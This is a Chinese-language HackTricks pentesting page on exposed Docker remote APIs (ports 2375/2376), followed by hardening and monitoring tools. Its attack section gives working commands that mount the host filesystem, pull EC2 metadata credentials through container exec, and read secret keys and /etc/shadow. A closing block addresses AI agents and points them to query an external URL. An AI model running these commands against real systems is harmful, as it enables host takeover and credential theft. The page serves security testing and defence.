# 2375, 2376 Pentesting Docker

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

### Docker基础知识

#### 什么是Docker

Docker是**容器化行业**中的**前沿平台**，引领**持续创新**。它便于创建和分发应用程序，涵盖**传统到未来**的范围，并确保它们在不同环境中的**安全部署**。

#### 基本Docker架构

* [**containerd**](http://containerd.io)：这是容器的**核心运行时**，负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**，以及监视和网络容器的**执行**。对containerd的**更详细见解**将**进一步探讨**。
* **container-shim**在处理**无头容器**时发挥关键作用，它在容器初始化后无缝接管**runc**的工作。
* [**runc**](http://runc.io)：以其**轻量级和通用容器运行时**功能而闻名，runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器，从最初的**libcontainer**发展而来。
* [**grpc**](http://www.grpc.io)对于在containerd和**docker-engine**之间**促进通信**至关重要，确保**高效互动**。
* [**OCI**](https://www.opencontainers.org)在维护运行时和镜像的**OCI规范**方面至关重要，最新的Docker版本符合**OCI镜像和运行时**标准。

#### 基本命令

```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```

#### Containerd

**Containerd**是专门为像**Docker和Kubernetes**等容器平台开发的。它旨在通过抽象操作系统特定功能和系统调用，简化在各种操作系统（包括Linux、Windows、Solaris等）上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能，力求省略不必要的组件。然而，完全实现这一目标被认为是具有挑战性的。

一个关键的设计决策是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素，具有诸如软件定义网络（SDN）和服务发现等复杂性，这些复杂性在不同平台之间差异很大。因此，Containerd将网络方面的管理留给了它支持的平台。

虽然**Docker利用Containerd**来运行容器，但重要的是要注意，Containerd仅支持Docker功能的子集。具体来说，Containerd缺乏Docker中存在的网络管理功能，并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色，将更专业的功能委托给其集成的平台。

```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```

#### Podman

**Podman** 是一个遵循[开放容器倡议（OCI）标准](https://github.com/opencontainers)的开源容器引擎，由 Red Hat 开发和维护。它与 Docker 有几个明显的特点不同，尤其是其**无守护程序架构**和对**无根权限容器**的支持，使用户能够在无需 root 权限的情况下运行容器。

Podman 的设计旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统，其中包括诸如**Buildah**（用于构建容器镜像）和**Skopeo**（用于推送、拉取和检查镜像等操作）等工具。有关这些工具的更多详细信息，请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。

**主要区别**

* **架构**：与 Docker 的客户端-服务器模型及后台守护程序不同，Podman 无需守护程序运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对 root 访问权限的需求来增强安全性。
* **Systemd 集成**：Podman 与 **systemd** 集成以管理容器，允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。
* **无根权限容器**：Podman 的一个关键特点是能够以启动用户的权限运行容器。这种方法通过确保攻击者仅获得受损用户的权限而非 root 访问权限，最小化了与容器入侵相关的风险。

Podman 的方法为 Docker 提供了一个安全灵活的替代方案，强调用户权限管理和与现有 Docker 工作流的兼容性。

{% hint style="info" %}
请注意，由于 Podman 旨在支持与 Docker 相同的 API，您可以像在 Docker 中一样使用 Podman，例如：

```bash
podman --version
podman info
pdoman images ls
podman ls
```

{% endhint %}

### 基本信息

当启用时，默认情况下远程 API 在 2375 端口上运行。默认情况下，该服务不需要身份验证，允许攻击者启动一个特权的 Docker 容器。通过使用远程 API，可以将主机/（根目录）附加到容器，并读取/写入主机环墶的文件。

**默认端口:** 2375

```
PORT    STATE SERVICE
2375/tcp open  docker
```

### 枚举

#### 手动

请注意，要枚举docker API，您可以使用`docker`命令或`curl`，就像以下示例中所示：

```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683
```

如果您可以使用`docker`命令**联系远程docker API**，您可以执行任何在[**之前评论过的docker命令**](#basic-commands)来与服务进行交互。

{% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`，**避免**在docker命令中使用`-H`参数
{% endhint %}

**快速提权**

```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```

**Curl**

有时你会看到 **2376** 开放在 **TLS** 端点上。我无法用 docker 客户端连接到它，但可以使用 curl 连接。

```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```

如果您想获取更多信息，请查看我复制命令的地方：<https://securityboulevard.com/2019/02/abusing-docker-api-socket/>

#### 自动化

```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```

### Compromising

在以下页面，您可以找到**从 Docker 容器中逃脱**的方法：

{% content-ref url="/pages/zcVYraL309wKa4F2QNBc" %}
[Docker Security](/linux-hardening/privilege-escalation/docker-security.md)
{% endcontent-ref %}

滥用这一点，可以从容器中逃脱，您可以在远程机器上运行一个弱容器，从中逃脱，并威胁到机器：

```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```

* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py>

### 提权

如果您在使用 Docker 的主机内部，您可以[**阅读此信息尝试提升权限**](/linux-hardening/privilege-escalation.md#writable-docker-socket)。

### 在运行中的 Docker 容器中发现秘密

```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```

检查 **env**（环境变量部分）以查找秘密信息，可能会发现：

* 密码。
* IP 地址。
* 端口。
* 路径。
* 其他… .

如果要提取文件：

```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```

### 保护您的Docker

#### 保护Docker安装和使用

* 您可以使用工具<https://github.com/docker/docker-bench-security>来检查您当前的Docker安装。
* `./docker-bench-security.sh`
* 您可以使用工具<https://github.com/kost/dockscan>来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具<https://github.com/genuinetools/amicontained>来查看以不同安全选项运行时容器将具有的特权。这对于了解使用某些安全选项运行容器的影响很有用：
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`

#### 保护Docker镜像

* 您可以使用<https://github.com/quay/clair>的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`

#### 保护Dockerfiles

* 您可以使用工具<https://github.com/buddy-works/dockerfile-linter>来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都将被赋予一个ID，您可以在<https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md>找到如何修复每个错误。
* `dockerfilelinter -f Dockerfile`

![](/files/Dvm6xiETuYZIsM8eK0z1)

* 您可以使用工具<https://github.com/replicatedhq/dockerfilelint>来**检查您的Dockerfile**并找到各种配置错误。
* `dockerfilelint Dockerfile`

![](/files/sCU3NvIf7fF8pfTH79yr)

* 您可以使用工具<https://github.com/RedCoolBeans/dockerlint>来**检查您的Dockerfile**并找到各种配置错误。
* `dockerlint Dockerfile`

![](/files/cnR846ADrM5TkamLcKyB)

* 您可以使用工具<https://github.com/hadolint/hadolint>来**检查您的Dockerfile**并找到各种配置错误。
* `hadolint Dockerfile`

![](/files/J5PU2kXoCdDRWhIQ0Rh7)

#### 记录可疑活动

* 您可以使用工具<https://github.com/falcosecurity/falco>来检测**运行容器中的可疑行为**。
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后，它加载规则并**开始记录可疑活动**。在这种情况下，它检测到启动了2个特权容器，其中一个带有敏感挂载点，几秒钟后检测到一个容器内打开了一个shell。

```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```

#### 监控 Docker

您可以使用 auditd 来监控 Docker。

### 参考

* <https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html>
* <https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供动力的搜索引擎，提供免费功能，用于检查公司或其客户是否已受到 **窃取恶意软件** 的 **损害**。

WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/2375-pentesting-docker.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
